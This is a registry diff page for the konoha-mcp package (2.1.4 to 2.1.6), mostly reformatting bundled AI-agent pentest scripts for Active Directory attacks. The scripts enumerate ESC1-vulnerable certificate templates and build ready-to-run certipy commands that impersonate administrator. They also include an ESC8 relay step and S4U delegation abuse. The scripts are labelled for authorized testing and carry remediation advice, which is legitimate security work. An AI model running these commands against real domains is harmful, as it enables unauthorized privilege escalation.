konoha-mcp 2.1.4 → 2.1.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.agents/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/abusing-shadow-credentials-for-privesc/SKILL.md +97 -135
- package/.agents/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/abusing-shadow-credentials-for-privesc/references/api-reference.md +30 -47
- package/.agents/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/abusing-shadow-credentials-for-privesc/references/standards.md +7 -6
- package/.agents/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/abusing-shadow-credentials-for-privesc/scripts/agent.py +65 -57
- package/.agents/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/exploiting-active-directory-certificate-services-esc1/scripts/agent.py +36 -17
- package/.agents/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/exploiting-active-directory-certificate-services-esc1/scripts/process.py +25 -13
- package/.agents/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/exploiting-adcs-with-certipy/scripts/agent.py +35 -19
- package/.agents/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/exploiting-constrained-delegation-abuse/scripts/agent.py +30 -8
- package/.agents/skills.fingerprint +1 -1
- package/README.md +4 -4
- package/apps/web/build/adapter-node.js +1 -1
- package/apps/web/build/client/_app/immutable/entry/{app.DwlgEXmV.js → app.DLayTcYu.js} +2 -2
- package/apps/web/build/client/_app/immutable/entry/app.DLayTcYu.js.br +0 -0
- package/apps/web/build/client/_app/immutable/entry/app.DLayTcYu.js.gz +0 -0
- package/apps/web/build/client/_app/immutable/nodes/{9.CVBlvZqX.js → 9.CGMmeMVC.js} +1 -1
- package/apps/web/build/client/_app/immutable/nodes/9.CGMmeMVC.js.br +0 -0
- package/apps/web/build/client/_app/immutable/nodes/9.CGMmeMVC.js.gz +0 -0
- package/apps/web/build/client/_app/version.json +1 -1
- package/apps/web/build/client/_app/version.json.br +0 -0
- package/apps/web/build/client/_app/version.json.gz +0 -0
- package/apps/web/build/server/.vite/manifest.json +15 -15
- package/apps/web/build/server/adapter-index.js +1 -1
- package/apps/web/build/server/adapter-index.js.map +1 -1
- package/apps/web/build/server/adapter-node-env.js +1 -1
- package/apps/web/build/server/adapter-node-env.js.map +1 -1
- package/apps/web/build/server/adapter-node-handler.js +4 -4
- package/apps/web/build/server/adapter-node-handler.js.map +1 -1
- package/apps/web/build/server/chunks/exports.js +9 -9
- package/apps/web/build/server/chunks/exports.js.map +1 -1
- package/apps/web/build/server/chunks/functions.js +1 -1
- package/apps/web/build/server/chunks/functions.js.map +1 -1
- package/apps/web/build/server/chunks/instance.js +33 -33
- package/apps/web/build/server/chunks/instance.js.map +1 -1
- package/apps/web/build/server/chunks/internal.js +19 -19
- package/apps/web/build/server/chunks/internal.js.map +1 -1
- package/apps/web/build/server/chunks/server-errors.js +2 -2
- package/apps/web/build/server/chunks/server-errors.js.map +1 -1
- package/apps/web/build/server/chunks/server.js.map +1 -1
- package/apps/web/build/server/chunks/shared.js +1 -1
- package/apps/web/build/server/chunks/shared.js.map +1 -1
- package/apps/web/build/server/chunks/state.js +1 -1
- package/apps/web/build/server/chunks/state.js.map +1 -1
- package/apps/web/build/server/chunks/sweetAlert.svelte.js.map +1 -1
- package/apps/web/build/server/chunks/uiState.svelte.js.map +1 -1
- package/apps/web/build/server/entries/fallbacks/error.svelte.js +1 -1
- package/apps/web/build/server/entries/fallbacks/error.svelte.js.map +1 -1
- package/apps/web/build/server/entries/pages/_layout.svelte.js.map +1 -1
- package/apps/web/build/server/entries/pages/bridges/_page.svelte.js.map +1 -1
- package/apps/web/build/server/entries/pages/clients/_page.svelte.js.map +1 -1
- package/apps/web/build/server/entries/pages/detector/_page.svelte.js.map +1 -1
- package/apps/web/build/server/entries/pages/docs/_page.svelte.js +1 -1
- package/apps/web/build/server/entries/pages/docs/_page.svelte.js.map +1 -1
- package/apps/web/build/server/entries/pages/persona/_page.svelte.js.map +1 -1
- package/apps/web/build/server/entries/pages/search/_page.svelte.js.map +1 -1
- package/apps/web/build/server/entries/pages/semble/_page.svelte.js.map +1 -1
- package/apps/web/build/server/entries/pages/skills/_page.svelte.js.map +1 -1
- package/apps/web/build/server/entries/pages/tasks/_page.svelte.js.map +1 -1
- package/apps/web/build/server/index.js +1 -1
- package/apps/web/build/server/index.js.map +1 -1
- package/apps/web/build/server/manifest-full.js +1 -1
- package/apps/web/build/server/manifest.js +1 -1
- package/apps/web/build/server/nodes/9.js +1 -1
- package/apps/web/build/server/remote-entry.js +7 -7
- package/apps/web/build/server/remote-entry.js.map +1 -1
- package/apps/web/build/server/server.js +1 -1
- package/apps/web/package.json +2 -2
- package/bin/cli.js +6 -6
- package/bin/lib/ui_commands.js +4 -3
- package/docs/SecurityCompliance/qa_report_2.1.5_2026-10-07.md +65 -0
- package/docs/SecurityCompliance/security_compliance_report_google_policy_2.1.5_2026-10-07.md +74 -0
- package/docs/SecurityCompliance/security_compliance_report_google_policy_2.1.6_2026-10-07.md +78 -0
- package/docs/SecurityCompliance/socket_baseline_2026-10-07.md +60 -0
- package/docs/SecurityCompliance/socket_burndown_2.1.5_2026-10-07.md +73 -0
- package/docs/SecurityCompliance/socket_report_2.1.5_2026-10-07.md +54 -0
- package/docs/architecture/TOKEN-BASELINE.md +1 -1
- package/package.json +3 -17
- package/src/antigravity_manager.js +81 -15
- package/src/db.js +2 -2
- package/src/db_agents.js +1 -1
- package/src/db_bridges.js +1 -1
- package/src/db_savings.js +1 -1
- package/src/db_stats.js +1 -1
- package/src/deploy_utils.js +4 -5
- package/src/doctor.js +10 -0
- package/src/migrate.js +1 -1
- package/src/persona_memory.js +1 -1
- package/src/sqlite_driver.js +211 -0
- package/src/templates/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/abusing-shadow-credentials-for-privesc/SKILL.md +97 -135
- package/src/templates/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/abusing-shadow-credentials-for-privesc/references/api-reference.md +30 -47
- package/src/templates/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/abusing-shadow-credentials-for-privesc/references/standards.md +7 -6
- package/src/templates/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/abusing-shadow-credentials-for-privesc/scripts/agent.py +65 -57
- package/src/templates/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/exploiting-active-directory-certificate-services-esc1/scripts/agent.py +36 -17
- package/src/templates/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/exploiting-active-directory-certificate-services-esc1/scripts/process.py +25 -13
- package/src/templates/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/exploiting-adcs-with-certipy/scripts/agent.py +35 -19
- package/src/templates/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/exploiting-constrained-delegation-abuse/scripts/agent.py +30 -8
- package/src/vector_search.js +1 -1
- package/apps/web/build/client/_app/immutable/entry/app.DwlgEXmV.js.br +0 -0
- package/apps/web/build/client/_app/immutable/entry/app.DwlgEXmV.js.gz +0 -0
- package/apps/web/build/client/_app/immutable/nodes/9.CVBlvZqX.js.br +0 -0
- package/apps/web/build/client/_app/immutable/nodes/9.CVBlvZqX.js.gz +0 -0
|
@@ -12,8 +12,7 @@ def enumerate_certificate_templates():
|
|
|
12
12
|
templates = []
|
|
13
13
|
try:
|
|
14
14
|
result = subprocess.check_output(
|
|
15
|
-
["certutil", "-v", "-template"],
|
|
16
|
-
text=True, errors="replace", timeout=30
|
|
15
|
+
["certutil", "-v", "-template"], text=True, errors="replace", timeout=30
|
|
17
16
|
)
|
|
18
17
|
current = {}
|
|
19
18
|
for line in result.splitlines():
|
|
@@ -54,18 +53,32 @@ def run_certipy_find(domain, username, password, dc_ip):
|
|
|
54
53
|
findings = []
|
|
55
54
|
try:
|
|
56
55
|
result = subprocess.check_output(
|
|
57
|
-
[
|
|
58
|
-
|
|
59
|
-
|
|
56
|
+
[
|
|
57
|
+
"certipy",
|
|
58
|
+
"find",
|
|
59
|
+
"-u",
|
|
60
|
+
f"{username}@{domain}",
|
|
61
|
+
"-p",
|
|
62
|
+
password,
|
|
63
|
+
"-dc-ip",
|
|
64
|
+
dc_ip,
|
|
65
|
+
"-vulnerable",
|
|
66
|
+
"-json",
|
|
67
|
+
],
|
|
68
|
+
text=True,
|
|
69
|
+
errors="replace",
|
|
70
|
+
timeout=60,
|
|
60
71
|
)
|
|
61
72
|
data = json.loads(result)
|
|
62
73
|
for tmpl in data.get("Certificate Templates", []):
|
|
63
74
|
if "ESC1" in str(tmpl.get("Vulnerabilities", [])):
|
|
64
|
-
findings.append(
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
75
|
+
findings.append(
|
|
76
|
+
{
|
|
77
|
+
"template": tmpl.get("Template Name", ""),
|
|
78
|
+
"vulnerability": "ESC1",
|
|
79
|
+
"enrollable_by": tmpl.get("Enrollment Rights", []),
|
|
80
|
+
}
|
|
81
|
+
)
|
|
69
82
|
except (subprocess.SubprocessError, json.JSONDecodeError, FileNotFoundError):
|
|
70
83
|
pass
|
|
71
84
|
return findings
|
|
@@ -75,7 +88,9 @@ def main():
|
|
|
75
88
|
parser = argparse.ArgumentParser(
|
|
76
89
|
description="Detect AD CS ESC1 vulnerability (authorized pentesting only)"
|
|
77
90
|
)
|
|
78
|
-
parser.add_argument(
|
|
91
|
+
parser.add_argument(
|
|
92
|
+
"--certutil", action="store_true", help="Use certutil enumeration"
|
|
93
|
+
)
|
|
79
94
|
parser.add_argument("--certipy", action="store_true", help="Use Certipy tool")
|
|
80
95
|
parser.add_argument("--domain", help="AD domain name")
|
|
81
96
|
parser.add_argument("--username", help="Domain username")
|
|
@@ -93,12 +108,16 @@ def main():
|
|
|
93
108
|
for tmpl in templates:
|
|
94
109
|
vulns = check_esc1_vulnerable(tmpl)
|
|
95
110
|
if vulns:
|
|
96
|
-
report["findings"].append(
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
111
|
+
report["findings"].append(
|
|
112
|
+
{
|
|
113
|
+
"template": tmpl.get("Template", "Unknown"),
|
|
114
|
+
"esc1_indicators": vulns,
|
|
115
|
+
"indicator_count": len(vulns),
|
|
116
|
+
}
|
|
117
|
+
)
|
|
118
|
+
print(
|
|
119
|
+
f"[*] Templates analyzed: {len(templates)}, ESC1 vulnerable: {len(report['findings'])}"
|
|
120
|
+
)
|
|
102
121
|
|
|
103
122
|
if args.certipy and args.domain:
|
|
104
123
|
certipy_results = run_certipy_find(
|
|
@@ -8,16 +8,14 @@ and generates an assessment report. For authorized red team engagements only.
|
|
|
8
8
|
|
|
9
9
|
import json
|
|
10
10
|
import sys
|
|
11
|
-
import os
|
|
12
11
|
from datetime import datetime
|
|
13
|
-
from pathlib import Path
|
|
14
12
|
|
|
15
13
|
|
|
16
14
|
ESC1_DANGEROUS_EKUS = [
|
|
17
|
-
"1.3.6.1.5.5.7.3.2",
|
|
18
|
-
"1.3.6.1.5.2.3.4",
|
|
15
|
+
"1.3.6.1.5.5.7.3.2", # Client Authentication
|
|
16
|
+
"1.3.6.1.5.2.3.4", # PKINIT Client Authentication
|
|
19
17
|
"1.3.6.1.4.1.311.20.2.2", # Smart Card Logon
|
|
20
|
-
"2.5.29.37.0",
|
|
18
|
+
"2.5.29.37.0", # Any Purpose
|
|
21
19
|
]
|
|
22
20
|
|
|
23
21
|
EKU_NAMES = {
|
|
@@ -46,7 +44,7 @@ def check_esc1_conditions(template: dict) -> dict:
|
|
|
46
44
|
"vulnerable": False,
|
|
47
45
|
"conditions_met": [],
|
|
48
46
|
"conditions_not_met": [],
|
|
49
|
-
"risk_level": "low"
|
|
47
|
+
"risk_level": "low",
|
|
50
48
|
}
|
|
51
49
|
|
|
52
50
|
# Condition 1: ENROLLEE_SUPPLIES_SUBJECT flag
|
|
@@ -70,17 +68,24 @@ def check_esc1_conditions(template: dict) -> dict:
|
|
|
70
68
|
no_ekus = len(ekus) == 0 # No EKU = any purpose
|
|
71
69
|
|
|
72
70
|
if has_auth_eku or no_ekus:
|
|
73
|
-
eku_desc =
|
|
71
|
+
eku_desc = (
|
|
72
|
+
"No EKU (any purpose)" if no_ekus else "Client Authentication EKU present"
|
|
73
|
+
)
|
|
74
74
|
result["conditions_met"].append(eku_desc)
|
|
75
75
|
else:
|
|
76
76
|
result["conditions_not_met"].append("No authentication-capable EKU")
|
|
77
77
|
|
|
78
78
|
# Condition 3: Enrollment rights for low-privileged users
|
|
79
|
-
enrollment_rights = template.get(
|
|
79
|
+
enrollment_rights = template.get(
|
|
80
|
+
"Enrollment Rights", template.get("permissions", {})
|
|
81
|
+
)
|
|
80
82
|
low_priv_enroll = False
|
|
81
83
|
low_priv_groups = [
|
|
82
|
-
"Domain Users",
|
|
83
|
-
"
|
|
84
|
+
"Domain Users",
|
|
85
|
+
"Authenticated Users",
|
|
86
|
+
"Everyone",
|
|
87
|
+
"Domain Computers",
|
|
88
|
+
"Users",
|
|
84
89
|
]
|
|
85
90
|
|
|
86
91
|
if isinstance(enrollment_rights, dict):
|
|
@@ -114,7 +119,12 @@ def check_esc1_conditions(template: dict) -> dict:
|
|
|
114
119
|
result["conditions_not_met"].append("Manager approval required")
|
|
115
120
|
|
|
116
121
|
# Determine vulnerability
|
|
117
|
-
if
|
|
122
|
+
if (
|
|
123
|
+
enrollee_supplies
|
|
124
|
+
and (has_auth_eku or no_ekus)
|
|
125
|
+
and low_priv_enroll
|
|
126
|
+
and not requires_approval
|
|
127
|
+
):
|
|
118
128
|
result["vulnerable"] = True
|
|
119
129
|
result["risk_level"] = "critical"
|
|
120
130
|
elif enrollee_supplies and (has_auth_eku or no_ekus):
|
|
@@ -130,7 +140,7 @@ def generate_esc1_report(certipy_data: dict) -> str:
|
|
|
130
140
|
"AD CS ESC1 Vulnerability Assessment Report",
|
|
131
141
|
f"Generated: {datetime.now().isoformat()}",
|
|
132
142
|
"=" * 70,
|
|
133
|
-
""
|
|
143
|
+
"",
|
|
134
144
|
]
|
|
135
145
|
|
|
136
146
|
templates = certipy_data.get("Certificate Templates", {})
|
|
@@ -181,7 +191,9 @@ def generate_esc1_report(certipy_data: dict) -> str:
|
|
|
181
191
|
|
|
182
192
|
report_lines.append("=" * 70)
|
|
183
193
|
report_lines.append("Remediation Recommendations:")
|
|
184
|
-
report_lines.append(
|
|
194
|
+
report_lines.append(
|
|
195
|
+
" 1. Disable ENROLLEE_SUPPLIES_SUBJECT on all vulnerable templates"
|
|
196
|
+
)
|
|
185
197
|
report_lines.append(" 2. Enable manager approval for certificate issuance")
|
|
186
198
|
report_lines.append(" 3. Restrict enrollment rights to specific security groups")
|
|
187
199
|
report_lines.append(" 4. Enable CA audit logging (Event IDs 4886, 4887)")
|
|
@@ -17,6 +17,7 @@ Examples:
|
|
|
17
17
|
python certipy_esc_assessor.py -u attacker@corp.local \
|
|
18
18
|
--hashes :fc525c... --dc-ip 10.0.0.100 --outdir ./loot
|
|
19
19
|
"""
|
|
20
|
+
|
|
20
21
|
import argparse
|
|
21
22
|
import glob
|
|
22
23
|
import json
|
|
@@ -50,7 +51,9 @@ def build_find_cmd(args, outdir):
|
|
|
50
51
|
|
|
51
52
|
def run_certipy(cmd):
|
|
52
53
|
if shutil.which("certipy") is None:
|
|
53
|
-
sys.exit(
|
|
54
|
+
sys.exit(
|
|
55
|
+
"[!] 'certipy' not found on PATH. Install with: pipx install certipy-ad"
|
|
56
|
+
)
|
|
54
57
|
print("[*] Running:", " ".join(cmd))
|
|
55
58
|
try:
|
|
56
59
|
proc = subprocess.run(cmd, capture_output=True, text=True, timeout=600)
|
|
@@ -64,8 +67,10 @@ def run_certipy(cmd):
|
|
|
64
67
|
|
|
65
68
|
def load_report(outdir):
|
|
66
69
|
"""Find and load the JSON report certipy produced."""
|
|
67
|
-
candidates = sorted(
|
|
68
|
-
|
|
70
|
+
candidates = sorted(
|
|
71
|
+
glob.glob(os.path.join(outdir, "*Certipy.json"))
|
|
72
|
+
+ glob.glob(os.path.join(outdir, "*.json"))
|
|
73
|
+
)
|
|
69
74
|
if not candidates:
|
|
70
75
|
sys.exit("[!] No JSON report found from certipy output.")
|
|
71
76
|
path = candidates[-1]
|
|
@@ -86,33 +91,44 @@ def extract_findings(report):
|
|
|
86
91
|
vulns = tpl.get("[!] Vulnerabilities") or tpl.get("Vulnerabilities") or {}
|
|
87
92
|
if not vulns:
|
|
88
93
|
continue
|
|
89
|
-
findings.append(
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
94
|
+
findings.append(
|
|
95
|
+
{
|
|
96
|
+
"template": tpl.get("Template Name") or tpl.get("Name", "?"),
|
|
97
|
+
"ca": (tpl.get("Certificate Authorities") or ["?"])[0]
|
|
98
|
+
if isinstance(tpl.get("Certificate Authorities"), list)
|
|
99
|
+
else tpl.get("Certificate Authorities", "?"),
|
|
100
|
+
"vulns": vulns,
|
|
101
|
+
}
|
|
102
|
+
)
|
|
96
103
|
return findings
|
|
97
104
|
|
|
98
105
|
|
|
99
106
|
def suggest_command(args, finding):
|
|
100
107
|
"""Produce a ready-to-run req command for ESC1-class findings."""
|
|
101
108
|
if any("ESC1" in k or "ESC4" in k for k in finding["vulns"]):
|
|
102
|
-
auth =
|
|
103
|
-
f"-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
109
|
+
auth = (
|
|
110
|
+
f"-p '{args.password}'"
|
|
111
|
+
if args.password
|
|
112
|
+
else (f"-hashes {args.hashes}" if args.hashes else "-k -no-pass")
|
|
113
|
+
)
|
|
114
|
+
return (
|
|
115
|
+
f"certipy req -u '{args.user}' {auth} -dc-ip {args.dc_ip} "
|
|
116
|
+
f"-ca '{finding['ca']}' -template '{finding['template']}' "
|
|
117
|
+
f"-upn 'administrator@{args.user.split('@')[-1]}' "
|
|
118
|
+
f"-sid '<TARGET-SID>'"
|
|
119
|
+
)
|
|
108
120
|
if any("ESC8" in k for k in finding["vulns"]):
|
|
109
|
-
return (
|
|
110
|
-
|
|
121
|
+
return (
|
|
122
|
+
"certipy relay -target 'http://<CA-FQDN>' -template 'DomainController' "
|
|
123
|
+
"# then coerce a DC to authenticate to your relay host"
|
|
124
|
+
)
|
|
111
125
|
return "# Manual exploitation required — review ESC type above."
|
|
112
126
|
|
|
113
127
|
|
|
114
128
|
def main():
|
|
115
|
-
ap = argparse.ArgumentParser(
|
|
129
|
+
ap = argparse.ArgumentParser(
|
|
130
|
+
description="Automate AD CS ESC enumeration with Certipy."
|
|
131
|
+
)
|
|
116
132
|
ap.add_argument("-u", "--user", required=True, help="UPN, e.g. attacker@corp.local")
|
|
117
133
|
ap.add_argument("-p", "--password", help="Cleartext password")
|
|
118
134
|
ap.add_argument("--hashes", help="LM:NT or :NT hash for pass-the-hash")
|
|
@@ -26,7 +26,9 @@ def find_constrained_delegation():
|
|
|
26
26
|
try:
|
|
27
27
|
result = subprocess.check_output(
|
|
28
28
|
["powershell", "-NoProfile", "-Command", ps_cmd],
|
|
29
|
-
text=True,
|
|
29
|
+
text=True,
|
|
30
|
+
errors="replace",
|
|
31
|
+
timeout=30,
|
|
30
32
|
)
|
|
31
33
|
data = json.loads(result) if result.strip() else []
|
|
32
34
|
return data if isinstance(data, list) else [data]
|
|
@@ -50,7 +52,9 @@ def find_rbcd_targets():
|
|
|
50
52
|
try:
|
|
51
53
|
result = subprocess.check_output(
|
|
52
54
|
["powershell", "-NoProfile", "-Command", ps_cmd],
|
|
53
|
-
text=True,
|
|
55
|
+
text=True,
|
|
56
|
+
errors="replace",
|
|
57
|
+
timeout=30,
|
|
54
58
|
)
|
|
55
59
|
data = json.loads(result) if result.strip() else []
|
|
56
60
|
return data if isinstance(data, list) else [data]
|
|
@@ -65,8 +69,16 @@ def check_s4u_abuse(account_name, domain, dc_ip, password=None, hash_val=None):
|
|
|
65
69
|
cmd.extend(["-password", password])
|
|
66
70
|
elif hash_val:
|
|
67
71
|
cmd.extend(["-hashes", f":{hash_val}"])
|
|
68
|
-
cmd.extend(
|
|
69
|
-
|
|
72
|
+
cmd.extend(
|
|
73
|
+
[
|
|
74
|
+
"-spn",
|
|
75
|
+
"cifs/target.domain.local",
|
|
76
|
+
"-impersonate",
|
|
77
|
+
"administrator",
|
|
78
|
+
"-dc-ip",
|
|
79
|
+
dc_ip,
|
|
80
|
+
]
|
|
81
|
+
)
|
|
70
82
|
try:
|
|
71
83
|
result = subprocess.check_output(cmd, text=True, errors="replace", timeout=30)
|
|
72
84
|
return {"status": "success", "output": result[:500]}
|
|
@@ -78,7 +90,9 @@ def main():
|
|
|
78
90
|
parser = argparse.ArgumentParser(
|
|
79
91
|
description="Detect and test constrained delegation abuse (authorized testing only)"
|
|
80
92
|
)
|
|
81
|
-
parser.add_argument(
|
|
93
|
+
parser.add_argument(
|
|
94
|
+
"--enumerate", action="store_true", help="Find delegation configs"
|
|
95
|
+
)
|
|
82
96
|
parser.add_argument("--rbcd", action="store_true", help="Find RBCD targets")
|
|
83
97
|
parser.add_argument("--output", "-o", help="Output JSON report")
|
|
84
98
|
args = parser.parse_args()
|
|
@@ -91,15 +105,23 @@ def main():
|
|
|
91
105
|
report["findings"]["constrained_delegation"] = cd
|
|
92
106
|
print(f"[*] Accounts with constrained delegation: {len(cd)}")
|
|
93
107
|
for acct in cd:
|
|
94
|
-
s2u =
|
|
95
|
-
|
|
108
|
+
s2u = (
|
|
109
|
+
"S4U2Self+Proxy"
|
|
110
|
+
if acct.get("TrustedToAuthForDelegation")
|
|
111
|
+
else "S4U2Proxy only"
|
|
112
|
+
)
|
|
113
|
+
print(
|
|
114
|
+
f" {acct.get('SamAccountName', '?')} -> {acct.get('DelegateTo', [])} ({s2u})"
|
|
115
|
+
)
|
|
96
116
|
|
|
97
117
|
if args.rbcd:
|
|
98
118
|
rbcd = find_rbcd_targets()
|
|
99
119
|
report["findings"]["rbcd_targets"] = rbcd
|
|
100
120
|
print(f"[*] RBCD configured computers: {len(rbcd)}")
|
|
101
121
|
|
|
102
|
-
total = sum(
|
|
122
|
+
total = sum(
|
|
123
|
+
len(v) if isinstance(v, list) else 0 for v in report["findings"].values()
|
|
124
|
+
)
|
|
103
125
|
report["risk_level"] = "HIGH" if total > 0 else "LOW"
|
|
104
126
|
|
|
105
127
|
if args.output:
|
package/src/vector_search.js
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
/**
|
|
2
2
|
* Hybrid semantic search, ONNX embeddings, and cross-encoder reranker for Konoha.
|
|
3
|
-
* Pure Node.js replacement for vector_search.py using @huggingface/transformers and
|
|
3
|
+
* Pure Node.js replacement for vector_search.py using @huggingface/transformers and the node:sqlite driver.
|
|
4
4
|
*/
|
|
5
5
|
|
|
6
6
|
const fs = require('fs');
|
|
Binary file
|
|
Binary file
|
|
Binary file
|
|
Binary file
|